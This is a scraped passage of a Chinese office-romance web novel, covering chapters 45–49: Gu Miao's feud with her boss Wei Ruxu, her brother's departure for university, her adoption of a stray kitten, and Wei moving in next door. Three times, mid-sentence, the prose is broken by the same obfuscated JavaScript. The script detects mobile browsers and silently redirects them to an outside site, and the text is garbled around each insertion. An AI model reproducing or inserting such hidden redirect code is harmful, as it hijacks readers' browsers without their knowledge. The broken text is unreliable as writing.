她气愤地拿出手机,把魏如栩的备注名改成了“白眼狼”。 至于车翔,她确实讨厌他的油腻,但自从被廖玄使唤了一天之后,她对车翔也有所改观。 这人也不是靠油腻上位的,他确实也有真才实学,那么身为后辈的顾妙,向车翔虚心请教问题,难道不可以吗? 按魏如栩那阴阳怪气的腔调,难道她要请教问题,还得以身相许才不算绿茶? 难道说你不喜欢一个人,就要彻底跟他断了往来才算不虚伪? 从小爸妈就教育顾妙,做人办事儿,以不伤害人为基础底线。顾妙想过来想过去,她也没伤害到谁,也没利用感情玩弄谁,怎么就绿茶了?! 还说不要刻板印象呢,不给人打标签呢?某人简直是标签之王,行走的标签机,这回妥妥OOC了吧,看你还有什么话说! 真是气死朕了! 可偏偏那个人是她老板,想到这里顾妙心累得不行。她还能怎么办,眼泪她掉不下来,难不成为了名誉冲进办公室里跟他大吵一架,辞职走人,死得有尊严一点? 她心里是万分不情愿的,好不容易找到工作,好不容易又刚刚摸到业务的一条边,她不想因为这点小事就放弃。 何况找工作在顾妙心里已经有阴影了,她实在不想再重来一遍…… 所以只能忍了! 顾妙想起刚见魏如栩的第一天,酒吧灯光下的少年俊美无俦,那么温柔天真,又带着一点孤立无援的无助,真是我见犹怜。 现在是什么?简直是只难伺候的傲娇猫,一天到晚不知道犯什么病,一会儿粘人,一会儿翻脸,这么喜怒无常,不知道的还以为他有个邪恶双胞胎。 要不然都说人生若只如初见呢! 顾妙也气得血上头,看文件看不进去,不住地回想之前魏如栩说的话。但想来想去,她也觉得确实不太方便跟车翔走太近。 车翔对她有想法她是知道的,她心无杂念地向他请教,并不代表车翔会收到正确的信号。万一被他误会,对她有进一步的试探,那才麻烦。 欠什么都别欠人情,顾妙深以为然。干什么终究都得靠自己,指望别人是没用的。 顾妙对自己的事儿向来心大,过了一夜就什么气都消了。上班自然是要受委屈的,这才哪跟哪,要因为这个就过不去了,才是自己给自己找罪受。 小魏总说的应该也是气话,不然以他的性子,怎么可能接受自己有个心术不正的助理。 再说了,那是老板,又不是男朋友,何必在乎自己在他眼里是什么样的人呢? 因此顾妙也决定,以后还是不要试图把小魏总当朋友看,双重身份什么的太复杂,以她核桃大小的CPU处理不了这样的关系,还是本本分分地做个下级员工比较安全。 可核桃脑子顾妙就从来没想过,为什么她小魏总待人一向温柔,怎么就突然刻薄精上身,对她说出那样的话。 甚至她觉得这不算事儿,没跟顾肖提,因此连个点拨她的人都没有。 新的一天,顾妙高高兴兴上班去。照样帮魏如栩做咖啡,照样把所有的事情安排得井井有条,照样对小魏总笑脸相迎、有求必应。 但小魏总看到她的时候,眼神略有躲闪,表情总是有些不明,似乎有那么一丝歉疚,又带点色厉内荏的高冷,整个人看上去怪里怪气。 顾妙心想,哼,叫你那么说我,活该!还是朕心大,做事专业,才不跟你计较! 过了一会儿,魏如栩把顾妙叫到办公室,拿了个长条礼盒递给她,说这是送给顾肖的上学礼物,今天的送行宴他就不去了,回头会亲自跟顾肖解释。 顾妙:“……” 哟喂,还冷战上了!不去拉倒,本来也不想你去,本来就想跟你保持距离,哼! “那我替顾肖谢谢小魏总。”顾妙脸上波澜不惊,扔给魏如栩一个抿嘴微笑,拿着礼物转身就走。 魏如栩看她居然没任何反应,一点遗憾的表情都没有,心里郁闷坏了。 其实送行宴这回事,还是他努力套路来的。就统计跟创意B组聚餐那天,顾妙说自己周五晚上没空,魏如栩一时好奇,给顾肖发微信套话。 顾肖虽然心眼多,但也不是时时刻刻都提高警惕,对周围的人他大多还是比较随意,没聊两句就跟魏如栩说周五晚上是家人要给他送行,所以出去吃个饭。 魏如栩向他表示了人生迈向新阶段的祝福,以及来不及多跟他打几次球的遗憾,顾肖就准确里领会了魏如栩这堆冠冕堂皇的废话的精神——此人闲得无聊,想凑热闹,于是就从善如流地成全了他,反正吃饭人多热闹。 也算用了心机才搞来跟顾妙一家人吃饭的机会,魏如栩是不想放弃的。但他昨天想来想去,觉得自己干了件挺伤害人的事儿,一时也没有好机会道歉,这不尴不尬的,晚上又要介入人家一家人的聚餐,如果影响到了气氛,着实有点不合适,才咬着牙说不去了。 小魏总甚至觉得自己还挺善解人意的。 可他咋就不想着,正好能借这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459422|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个机会跟顾妙和好呢? 所以说啊,有的人长得人模狗样,但是一直单身,也是有原因的! 放弃是自己选的,没料到顾妙连句挽留的话都没有,魏如栩心里按下葫芦起来瓢地冒出了一团小恼火,干脆破罐子破摔,冷着脸决定暂时不搭理她,好好调整一番自己那凌乱的内心。 我怎么可能会喜欢这么一个没心没肺的人呢?一定是吊桥效应!小魏总如是想。 顾妙偷偷打开礼品盒子看了眼,发现那是一块看起来价值不菲的表,顿时觉得礼物有点烫手,不太适合收。 可这毕竟是魏如栩送给顾肖的礼物,她又不好做主拒绝,所以她盯着盒子,一时间心情有些复杂。 一开始她不想魏如栩参加她家里人的聚餐,觉得这跟老板走得太近,似乎不妥。但经过凌晏如的开导,她也觉得一切顺其自然比较好,要不然显得自己想得有点多。 但现在她调整好了心态,魏如栩倒又说自己不去了,还是在刚发生昨天的事之后——这就像是被自己嫌弃的人给嫌弃了,实在是让人万分不爽! 可是不爽背后,顾妙心里隐隐有点失落。她想来想去也不知道为什么。 忙碌的工作没有给顾妙思考的空间,她一头扎进文件堆里,本来就对数字不敏感,几个Excel表格做得她头昏眼花,顿时能够理解当年凌晏如从公司辞职的心情。 中午她迅速吃了点饭,就回了工位看新买的广告策划文案类的书。因为从下周开始,她就要和创意B组一起开分享会,作为总经理助理,她身先士卒,第一个发言。 本来她也不是干这行的,也就是专业课里有几门涉及广告学方面的内容,但上课也没好好听,她觉得自己第一个出来肯定会丢脸。 可魏如栩说,创意B组的新员工两个是平面设计出身,两个毕业于中文系,大家半斤八两,不存在丢人的情况。 对,这事儿也是魏如栩干的!顾妙一边翻书,一边挠头,又在心里画了个圈圈诅咒他。 不过这会儿魏如栩不见了,直到午休结束人也没回来。他向来不这样,就算没什么真材实料,但学习之心非常殷切,只要不是有外出业务,他从不旷工,屁股牢牢粘在办公室的椅子上,态度非常端正。 见他一反常态,顾妙不禁有点好奇。 残酷的现实没有留给顾妙多少走神的时间,这个星期的最后一个工作日竟然别样忙碌——廖玄来上班了,看完顾妙的报告,一个电话把她拉到了副总办公室,加上车翔三人开小会。 这是廖玄个人的习惯,随时喊客户部、策划部和媒介部全来开会不太现实,于是他会让车翔跟他多聊聊客户和产品,这样能够刺激他思考,以便开策划会的时候更能打开思路。 这次因为顾妙和他一起去了孙总的酒局,又提交了报告,还有点自己的小思路,所以他干脆叫了顾妙也来头脑风暴。 顾妙抱着笔记本电脑,一进到廖玄办公室门口,车翔就对她点头,小声说:“别紧张,你的报告应该没问题,廖总没说什么。” 顾妙稍稍放下了心:“谢谢你帮我修改,我真的学到不少东西。” “嗐,举手之劳。”车翔也端起电脑,带着顾妙进了里间。 46. 第四十六章 机遇 即便廖玄没挑出报告的问题,也不代表他会变成个好相处的人。 整个会议他都端着一张后娘脸,时不时地提问顾妙关于世纪明光电动平衡车的各种问题,顾妙常常卡壳,车翔会小声提醒她,廖玄就一脸嫌弃地看车翔。 廖玄:“办公室这么大点儿,你当我聋了吗?” 车翔倒没什么,没脸没皮地冲廖玄笑了笑。顾妙却一阵心惊胆战,觉得自己没做好,反而连累车翔。 头脑风暴也就进行了一个小时,顾妙却觉得自己的脑子都被绞成了干毛巾,基本失去思考能力,顶着廖玄嫌弃的眼神亚历山大,莫名有点想哭。 车翔送顾妙出来,安慰她:“廖总对下属要求比较严,你别往心里去。你之前没做过客户,手头工作又忙,记不清资料也很正常。” 顾妙心里委屈,却又不得不服:“你比我还忙,可是都能把客户资料记住,廖总问什么你都能答上来。” “我毕竟比你多几年工作经验,知道廖总会问什么问题,自然应付得来。”车翔笑了笑,能在妹子面前刷能力值,他虽然嘴上谦虚,心里还是很得意的,“别难过,你刚上班,锻炼锻炼就好了。今晚你……有安排吗?我请你吃饭怎么样?毕竟那话剧……” “今天不行,家里人聚餐,改天吧,改天我请你吃饭,谢谢你这两天帮我。”顾妙看着他,十分诚恳地说,“千万别推辞。” 她想借着这次跟车翔吃饭,暗示他自己目前不想谈恋爱,只想好好工作。顾妙觉得,车翔是个明白人,一点就透,应该能理解。而且,车翔确实帮了她不少,请他吃顿饭还了这个人情,也算礼数周到。 看她这么诚恳,车翔点点头:“行,那就听你安排。” 回到工位上,屁股还没沾着椅子,车翔就听见廖玄意味深长地咳了几声,转身颠颠地进了办公室:“廖总,有什么指示?” 廖玄靠在大班椅上,撩起眼皮看着他:“怎么?对人家小姑娘有意思?看你那个殷勤劲儿!” “是有点意思……八字还没一撇呢……”车翔不好意思地挠挠头。 “别在吃饭的地方拉屎,这道理你不该不懂啊!”廖玄似笑非笑,“那丫头又是魏如栩的助理,这关系是不是太近了点?” 车翔赶紧解释:“廖总,我是有贼心没贼胆,就先试探试探。不过我觉得小魏总对他这个助理挺上心的。” “什么意思?”廖玄来了兴致,坐直身子,兴致盎然地看着车翔。 “就……我才想约顾妙看个话剧,小魏总就支使着盛总带我跟他出差,这不就是不想让我跟顾妙走太近的意思吗?”车翔一边琢磨一边说,“还是去出差的路上盛总说起这是小魏总的主意,我才想明白。而且只要我一跟顾妙说话,小魏总就一脸不高兴,现在我经过他办公室都不敢往里看。” 廖玄摩挲着下巴上的胡子,眼里闪烁着坏笑:“难怪这丫头什么都不会,如栩还要把她留在身边。原来是有想法——呵,这是电视剧看多了,想玩霸道总裁那套吗?” 说着这话,也不知道他脑子里想到了什么废料,脸上的笑容逐渐猥琐。 车翔虽然屁股跟廖玄坐一张板凳上,但也不想背上造谣的锅,赶紧解释说:“都是我瞎想,未必是真的。” “用你废话?!赶紧滚去干活!” 车翔连连点头,一溜烟跑了出去。 顾妙回到办公室,便看见魏如栩也回来了,他头发湿漉漉的,像是刚洗过。 她站在隔间门口,在门上敲了两下,例行汇报:“老板,我从廖总那开完会回来了。” 魏如栩盯着电脑,头也没回,应了一个字:“嗯。” 于是顾妙回到工位,继续干她先前没干完的活儿。忙起来也没顾得上看时间,不知道过了多久,魏如栩溜着滑板从她面前经过,没打招呼就走了。 顾妙看了一眼他的背影,心里翻了个白眼,骂道:幼稚鬼! 她看了看表,已经到了下班的点,再熬上一会儿就能走人,于是展开双臂伸了个惬意的懒腰,放下手的时候却看到一个熟悉的身影上楼来,竟然是盛缘! 虽说顾肖没跟盛缘表白,但两人关系似乎不错,盛缘也常常到顾妙家来玩,两人经常打照面。 突然看到盛缘到公司来,顾妙有些吃惊,还以为她是来找自己的,起身迎了上去:“小缘?” 盛缘看到顾妙,怔了怔:“妙妙姐,你在这里上班?” 嘿,原来是自作多情了。 “是啊,顾肖没跟你说过吗?”顾妙笑得脸有点抽筋,“你怎么会来我们公司?” 盛缘:“哦……他倒是没提过。我来找我叔叔吃晚饭,就要去学校报到了,他说要带我出去吃大餐。” 顾妙疑惑:“你叔叔?” “顾助理?你跟小缘认识?”盛然的声音在顾妙背后响起,顾妙诧异地回头,见他也一脸惊讶地看着自己。 顾妙:“小缘跟我弟在咱们小区里的家教班当老师——这个世界还真是小啊!” 盛然一怔,似乎在想那个家教班是什么,随即也反应了过来,不好意思地笑:“怪我,我都把这事儿给忘了。对了,小缘确实说过,她认识了个和她考上同一所大学的男生,就是你弟弟?那天跟小魏总在一起的那个?” “对,是他。” 盛然意味不明地看了盛缘一眼:“嗯,下次再见他,跟他好好聊聊。那我们先走了,回见!” 盛缘跟在盛然身后,很是乖巧地冲顾妙挥了挥手,顾妙也对他们报以微笑,心里却想:“额滴神啊,顾肖这是要见家长的节奏么?他会被盛总剥皮抽筋么?” 想到这里,顾妙默默给顾肖点了个蜡,然后冲回工位,掏出手机,把这个“惊天新闻”告诉他。 片刻后,顾欠揍回信了:“姐,你脑子是不是傻?盛这个姓又不常见,咱小区能有几个?盛总不是总说自己要照顾侄女吗?这么明显的1+1=2的事儿你才想明白?我早就知道了!” 呸,早就知道了还不说,装什么大尾巴狼? 终于挨到公司有人陆续下班,顾妙扛着办公笔记本电脑,匆匆忙忙关好办公室的门,归心似箭地往外走,却在电梯口看见了站在轿厢里的廖玄。 她本能地一撤脚步,但又觉得这样以来逃避的意味过于明显,一抬头目光又正好跟廖玄撞在了一起,于是尴尬地冲他一笑: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459423|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “廖总。” 廖玄点点头,手指按在开门键上:“走吗?” 能不走吗?顾妙看着几个其他部门的同事站在门口,有的假装打电话,有的假装在前台找快递,有的假装要等人,没有一个跟进来的,她硬着头皮进了电梯,内心欲哭无泪。 廖玄见怪不怪,伸手关了电梯,他自己去地下车库,见顾妙背着电脑尴尬地站在一边,又抬手贴心地帮她按下了一层。 顾妙:“……” 真是越想掩饰反而越暴露。 轿厢里静得出奇,顾妙数着自己的心跳,希望这部电梯能够尽快到达一层。这时廖玄突然说话了。 “小顾,你有没有兴趣做业务?” 顾妙茫然地扭头看他:“……我?” “就个人职业发展规划而言,做业务比做助理强。”廖玄说话面无表情,目视前方,并没有看她,“只是一点个人建议。做客户也好,策划也好,媒介也可以,都更锻炼人,还能让你多学点专业技能。” “廖总……您觉得我……适合吗?”廖玄这番话算得上推心置腹,顾妙觉得幸福来得太突然,也不知道他这是什么用意,一时不知所措。 廖玄表情一言难尽地看了她一眼:“我还以为你挺机灵的。” 电梯在这个不恰当的时刻到了一楼,顾妙犹犹豫豫地还想多问一句,但也不知道怎么问才合适。廖玄见她磨磨蹭蹭地不下去,只好按着开门键,给了她一个疑惑的眼神。 顾妙没办法,只好放下一句“谢谢您,我会好好考虑”,抱着电脑出了电梯。 廖玄这是什么意思?觉得她有潜力吗?可是顾妙自觉,她在他面前就没有过对的时候。 难不成这是他肯定下属的一种方式? 可他不是向来对自己都很有成见的吗? 转岗对顾妙而言,从目前情况来看其实是件好事。总助的岗位确实不错,但她明白自己能力有限,假以时日她或许也能被磨炼出来,但这个过程需要多久呢? 如果半年之后,老魏总回归,魏如栩继续当他的大少爷去,那么她该何去何从? 所以还不如现在去具体的业务部门,从基层干起,磨炼一下专业技能。这也本来是她应届毕业生该走的路。 可……如果她走了,小魏总该怎么办? 虽然两个人只有一个月的交情,但这一个月也算是相濡以沫共同战斗,光速熟悉起来,相比于一般的上下级关系更加亲密一点,也更像朋友。她觉得只要自己提出要求,魏如栩即便生气也会满足她,不至于翻脸不认人。 可他势必要重新找助理,重新磨合,不管他会不会像对顾妙那样对别人敞开心扉,至少这个过程对他是一种重复性的折磨。 顾妙不想折磨他,甚至一想到这点,心会隐隐作痛。 可能是良心那部分在疼吧。毕竟,如果没有魏如栩,她连现在的转岗的资格都没有,说不定还在酒吧打工,绝望地四处投简历呢。 虽说职场之路不能有太多江湖气,人人都要为自己的规划考虑,但过河拆桥这种事顾妙干不出来。何况魏如栩并没有限制她什么,这不跟创意B组一起做项目,也能提升自我吗? 48. 第四十八章 白眼狼 凌晏如和顾妙蹲在旁边围着看,看见小猫,顿时心都被萌化了。 顾妙把小猫捞起来捧在手里,小猫惊慌失措,发出稚嫩的叫声,两只前爪不停地挣扎着,惊恐地看着眼前这三个两脚兽。 凌晏如:“它一直叫,是不是饿了?” “打包的菜里还有点鸡胸肉,拿出来给它吃。”顾妙把小猫往凌晏如手里一放,解开手中的塑料袋。 顾肖:“这么小,能吃肉吗?” 顾妙把鸡胸肉撕得一条一条的,往小猫鼻子前一送,这小家伙立刻不要命地张开嘴巴咬住,颇有点饿虎扑食的架势。 “能吃一点是一点,总比饿着强。” 凌晏如看着手里吃得“嗷呜嗷呜”的小猫:“也不算太小,我看得差不多得有两个月了。” 小猫很快吃光了顾妙手里的一大块鸡肉,挣扎着要下地。它的指甲从没剪过,虽然个头小,被它挠一下也还挺疼的,凌晏如就把它放了下来。 小猫明星气场两米八,台风稳得很,完全不怕人围观,蹲在地上慢悠悠地洗完了脸,瞥了周围三个两脚兽一眼,径直走到它的箱子前,“扑通”一声跳了进去,靠在一角打了个哈欠,似乎是要睡觉。 顾妙几个人面面相觑,着实为这只小橘猫的心大惊呆了。 顾肖:“啧,看样子刚才是饿极了才叫,想出来找吃的。它是把这个箱子当成自己的窝了。” “也不知道哪个缺心眼的给它把箱子口别起来的,难不成是要饿死它?”凌晏如愤愤不平。 顾妙盯着箱子里那小小的一坨橘色,觉得它这种饿了卖萌、吃饱就不认人的傲娇行为着实跟某位仁兄非常相似,脱口而出道:“我打算给它取个名,就叫‘白眼狼’。” 顾肖和凌晏如诧异地看向她:“你要养?” “……不行吗?”顾妙刚刚只是没怎么过脑子地说了出来,并没想着给一个小动物命名意味着什么,可是被人问到,她忽然就觉得,养只猫也没什么不好。 “这小猫没人要肯定活不长,要是当流浪猫,它这么心大肯定会被人欺负。”顾妙振振有词地说,“反正顾肖也不在家,养着它正好能跟我做个伴。况且这是只小猫,从小养起来会有感情,也不怕养不熟。而且养猫也不用遛,每天喂点吃的喝的就能活,很快就能小橘变大橘,没准我每天给它拍照发上网,还能把它弄成一只网红猫,说不定将来我就指着它给我挣钱了呢!” “我们就问了三个字,你有必要说这么一大段理由吗?就差说到为它成立公司,将来发展壮大到纳斯达克上市了。解释这么多,怎么像在掩饰什么?”顾肖狐疑地说,“好好的干嘛叫它白眼狼,这么难听。” 顾妙自然不会提“白眼狼”这个名字源于小魏总,她戳了戳那蜷成一团睡觉的小家伙,“吃完东西就不理人,不是白眼狼是什么?” 凌晏如乐道:“它又没看过《宠物的自我修养》,确实不知道吃完了还得彩衣娱亲。” 顾肖撇了撇嘴:“真的这么叫?我可叫不出口。” “大名叫这个,平时可以叫它……阿狼。”顾妙说完这个词,自己也觉得这名字比楼上那只“撒么”没强到哪去,改口道,“要不就叫小狼。” “这么萌的一只猫,叫小狼。”凌晏如伸手戳了戳那橘色的小毛球,“妙妙你可真是个取名废。” 顾妙不以为耻:“这叫有个性!小姨,要不……给你养?有猫不是作家的标配吗?” 提到“作家”二字,凌晏如脸上的表情有点一言难尽:“可别寒碜我了!你要养就好好养,走吧,咱小区外面不是有个宠物医院吗?先过去检查一下。” 顾妙没要那箱子,把小狼托在胳膊上,一路带去了宠物医院。 小狼是真的心大,吃饱了一直瘫在顾妙怀里睡,就是见了医生有点哆嗦,大眼睛无助地望着顾妙,喵喵叫着,殷切盼望她能把它从“魔鬼”手里救出来。 经过检查,医生确认小狼性别为公,芳龄两个多月。不过要等他在家住满三周,适应环境之后再来打疫苗,所以只是先给它滴了除虫的药。 医院旁边就有家宠物店,顾妙一头扎进去,买了幼猫粮、幼猫罐头、各种营养品并一大堆猫用生活用品,出来的时候,三个人的手里都满满的。 凌晏如感叹道:“养猫还真够费钱的。这进口猫粮这么贵呢?” 顾妙给小狼配备了外带箱,这货在里面睡得正香,似乎已经完美接受了自己身份的蜕变,从流浪猫晋升为猫主子,可谓一步登天。 “一次性投入嘛,将来他自己能吃多少。”顾妙冲凌晏如挤挤眼,“要不是你今天的打赏,我还不敢下定决心呢。” 顾肖在旁边凉凉地说:“姐,你没听说过大橘为重吗?别怪我没提醒你,你最好给他控制饮食,小心将来你都抱不动他。” 顾妙并没当一回事,谁知顾肖一语成谶,半年过后小狼就变成了连自己屁屁都快舔不到的猪狼。此为后话,暂且不提。 回家之后,小狼好奇地巡视了一遍自己的领地,断然拒绝了顾妙为他精心挑选的猫窝,在沙发上扎下根来。跟玩具撕咬了一会儿,消磨掉精力之后,他就靠在沙发角落里继续睡大觉去了。 顾妙心累地看着那个惨遭拒绝的猫窝,后知后觉地意识到,她又给自己找了个主子。 上班伺候大猫主子,下班回来伺候小猫主子。这命运还能更惨一点吗? 临睡前,顾妙跑去顾肖房间,恨不得让他把所有行李都打开给她看一遍,顾肖十分蛋疼,直接给她看行李清单:“都在这儿呢,看见没?我又不像你那么丢三落四。” 顾妙自有她的理由:“万一你有东西忘记写在清单上了呢?” 顾肖白眼都快翻到后脑勺了:“我亲姐,有种东西叫网购,缺什么买什么,快递员叔叔送货上门,你说我们华夏大地什么东西网上买不到?” “就是为了你胡乱花钱找借口!”顾妙瞪着眼,不依不饶。 顾肖咬牙切齿:“半年生活费你可都给我了,要多问你要一分钱我是小狗!” 眼看顾肖要急,她也不想 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顾肖垂下眼睛认真看着她:“那我走了,你可别哭。” 顾妙含着眼泪瞪他:“故意的是吧?” “开个玩笑嘛!”顾肖笑嘻嘻地走到门口拉起箱子,“难得熬到了周末,快回去继续睡吧。” 顾妙紧紧跟在他身后:“收着点脾气,说话别老噎人,别招人揍你。” 顾肖:“行了姐,混社会我比你强。” 顾妙悄悄擦去越狱的两滴眼泪:“呸!” 顾肖犹豫了一下:“今年生日没赶上放假,我……” “生日礼物不是提前给你兑现了吗?甭回来了,跟你新同学过吧。”顾妙恹恹地说,“正好不用请你吃饭,省钱。” “姐,商量个事儿行吗?”顾肖伸长脖子看了一眼在沙发上翻着肚子睡得正香的小狼,“你能让他别进我屋吗?” 顾妙:“不能,我还想把你屋变成他屋呢。” “……真是人走茶凉!”顾肖一边拉开房门,一边愤慨地说着,“等军训完我回来跟他算账,走了!” 大门关上,家里突然变得非常安静。顾妙觉得好像心里什么东西“倏”地不见了,空了好大一块。 她表面装得坚强,其实心里已经难受了好久,昨晚更是没睡踏实,翻来覆去梦见的都是顾肖像离巢的雏鸟,自此振翅高飞,再不复返。 从今往后,这里就只是顾肖的老家,而在不远的未来,他终将拥有属于他自己的家庭。 自从父母去世之后,顾妙就害怕起这样的变化,她希望身边的朋友只会有增无减,所有亲密的关系都永不改变。 可她也知道自己这样想是过于贪心了的。 人际关系其实脆弱得很,完全不以谁的意志为转移,不管哪一方的人生轨迹稍有改变,那些原本以为可以一辈子持续下去的关系,就会分道扬镳,渐行渐远。 好在顾肖是自己的亲弟弟,不管他走到哪里,都是亲人。 49. 第四十九章 牛皮膏药 顾妙安慰着自己,到沙发上坐下,抱起小狼:“从今往后就我们两个作伴了。” 原本她已经好很多了,可是这句话一出口,突然又是悲从中来。 反正家里也没了人,顾妙也就不再压抑,抱着那毛绒绒的一团,也不嫌弃猫的体温比人的还热,就这么放声大哭起来。 小狼被她吵醒,舔了舔她滴在手臂上的眼泪,一脸茫然地看着她,不知道这个两脚兽到底怎么了,先是扰猫清梦,又分泌味道这么苦涩的液体,也不知道自己舔干净。 于是小狼费尽心力地舔干了顾妙手臂上所有的泪水,又循着泪水的来源去舔她的脸颊,开始觉得自己为这个家付出了太多,至少每天一个罐头才能说得过去。 顾妙的注意力很快被小狼分散,心想别人都说猫舔人就是喜欢对方,看来小狼已经认下了她这个主人,高兴地虎摸了一下他的小脑瓜,觉得给他取名白眼狼稍稍有点亏心。 小狼:……你想太多了,朕只是不喜欢你弄湿我的毛,还不快把肉罐头交出来! 哭完了顾妙觉得眼睛发肿头发沉,决定去睡个回笼觉。 这一睡就睡到了中午,起来她惯性地喊道:“顾肖,你想吃什么,自己出去买菜……” 家中自然没有人回应,顾妙自嘲地笑了笑,真是猪脑子,睡一觉居然什么都忘了。 只剩下自己一个人,她觉得就连做饭都失去了力气。 手机震了一下,顾妙这才拿过来解锁,发现有凌晏如的未接来电,还有好几条信息,大意就是说中午她买了菜过来做饭,两人一起吃。 还没等顾妙回复,就听见外面凌晏如拿钥匙开了门,一进门就大叫:“妙妙?” “小姨,我刚睡醒。”顾妙出了卧室,接过凌晏如手里的袋子,看看那满满的鸡鸭鱼肉,“买这么多?别做新的了,还有昨晚的剩菜呢。” 凌晏如点了她脑门一下:“干嘛这么亏待自己?有剩菜也得做新菜。顾肖走了?” 顾妙点点头:“嗯。” “你不是还有工作的事要弄吗?去忙吧,等会做好了饭叫你。” 凌晏如知道,家里猛地少了一个人,顾妙有点难过,但有些事越安慰反而越让人难受,还不如给她时间慢慢消化,于是只是轻描淡写地说了一句,就赶着顾妙去忙活自己的事。 自家小姨没什么可客气的,顾妙心安理得地蹲在房间里,打开电脑,对着空白word文档放了一会儿空,好不容易把精力集中起来开始写报告,却写一行删一行,实在是不知道怎么开头好。 这个时候家门外面传来一阵骚动,好像是有工人搬东西的声音。 无心工作的顾妙顿时被吸引,从房间里出来,正撞上也从厨房探出头来的凌晏如。 “哟,隔壁邻居回国了?”凌晏如好奇地问道。 顾妙:“好久没见张伯伯一家,去打个招呼。” 一开门,她俩就看见搬家公司的两位师傅抬着一台巨大的平板电视小心翼翼地搬进隔壁家。 凌晏如:“哟喂,这么大,看《午夜凶铃》一定很带感。” 顾妙:“……” 小姨你是不是属荧光笔,专门用来划重点的? 她们俩站在门口冲邻居家里探头探脑,顾妙没看见张伯伯家里的人,倒是看见了一个熟悉的长身玉立的身影,站在客厅里正指挥师傅摆放家电,其人极具存在感,让人完全没办法忽略。 顾妙觉得自己可能是眼花了,或者在做梦,她揉了揉眼睛,又捏了捏自己的脸,唔,有点疼。 但这怎么可能呢?那人住的的一居室比这老楼豪华多了,离公司又近,他脑抽了才有可能搬到这里来。 一定是看错了。 旁边凌晏如用肩膀拱了拱她,无情地撕烂了她找的借口:“哎,那不是你们小魏总吗?” 顾妙还没来得及说话,魏如栩就回过头来,看到她们先是一愣,随即露出他招牌般的和煦微笑,走了过来,很有礼貌地打招呼:“小姨好。” 凌晏如见了帅哥,出于本能地眉开眼笑:“你好你好,又见面了。” “老板,你跟张伯伯一家认识?”顾妙执迷不悟。 魏如栩表情迷茫地怔了怔:“张伯伯是谁?我不认识。这是我才租下来的房子。从今往后咱们就是邻居啦,麻烦多多照顾。” 他一边说着,一边伸手假模假式地要跟顾妙握手。 顾妙恶狠狠地盯着他那修长好看的手,心里想:“照顾个锤子,看我不把你爪子剁下来红烧!” 见顾妙发呆,不跟魏如栩握手,凌晏如怕场面尴尬,伸手握了过去:“好啊!远亲不如近邻,当然要互相照顾,以后常来家里吃饭。” 魏如栩不好意思地笑笑:“谢谢小姨。” 自从看见魏如栩在这儿,顾妙脑子就处于一种打结的状态,她怎么都想不明白,这人到底出于一种什么心理,居然能搬到她家隔壁。 这简直是赤裸裸的挑衅啊! 她原本心情就不好,又想到跟魏如栩冷战的事儿,觉得此人实在欺人太甚,顾不上跟他虚情假意地客气,劈头就问:“你为什么搬……” “啊那什么,小魏总你先忙着,我们就不打扰了,等你安顿好了再说。”凌晏如眼疾手快地打断顾妙,以免她说出将来会后悔的话,跟魏如栩客套了几句,拖着顾妙就回了家。 魏如栩脸上挂着凝固了的笑容,看着顾妙无法掩饰的焦躁和哭肿的双眼,觉得自己好像是一步错,步步错。 跟顾妙冷战这两天,他心情也不怎么好,尤其昨天也没跟她说什么话,下午健身完了就是一个人闷在办公室里看文件。 恰好有个朋友快要回国,让他帮着找找房子,他就有一搭没一搭地看了一眼网上的租房信息,一不小心,一个熟悉的地址映入眼帘,他手比脑子快地点开看,又按捺不住好奇心跟中介聊了聊,知道那要出租的房子竟然就是在顾妙家隔壁。 小魏总把“鬼使神差”、“身不由己”、“不由自主”、“情不自禁”这样的成语体验了个一溜够之后,已经身在顾妙家小区里,跟着中介去看房了。 昨天顾肖给他打电话,谢谢他送的礼物的时候,魏如栩刚看完了房,并且很干脆地付了一整年的房租。 中介满心欢喜地离开,魏如栩站在小区门口,整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459426|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人实在不太好。 他心里一会儿紧张一会儿落寞,又是期待又是高兴,简直是熬了一锅足料八宝粥,咕嘟咕嘟冒着泡,抓心挠肝地不知道怎么该怎么面对顾妙。 说好的冷静、保持距离呢? 这下表现也太明显了吧! 魏如栩不知道该怎么界定目前对顾妙的感觉,用大白话描述就是想天天看见她,想对她好,不想她跟别的异性有过多的交往。 喜欢肯定是喜欢,但有多喜欢?是喜欢多一点,还是控制欲更多一点? 小魏总三省吾身,意外地发现,认识顾妙之后,他无缘无故多了这么多臭毛病。 幼稚、粘人、冲动、嫉妒……啧啧,想想都很羞耻。 不是说越喜欢某人,就越想要在对方面前展现完美的自己吗? 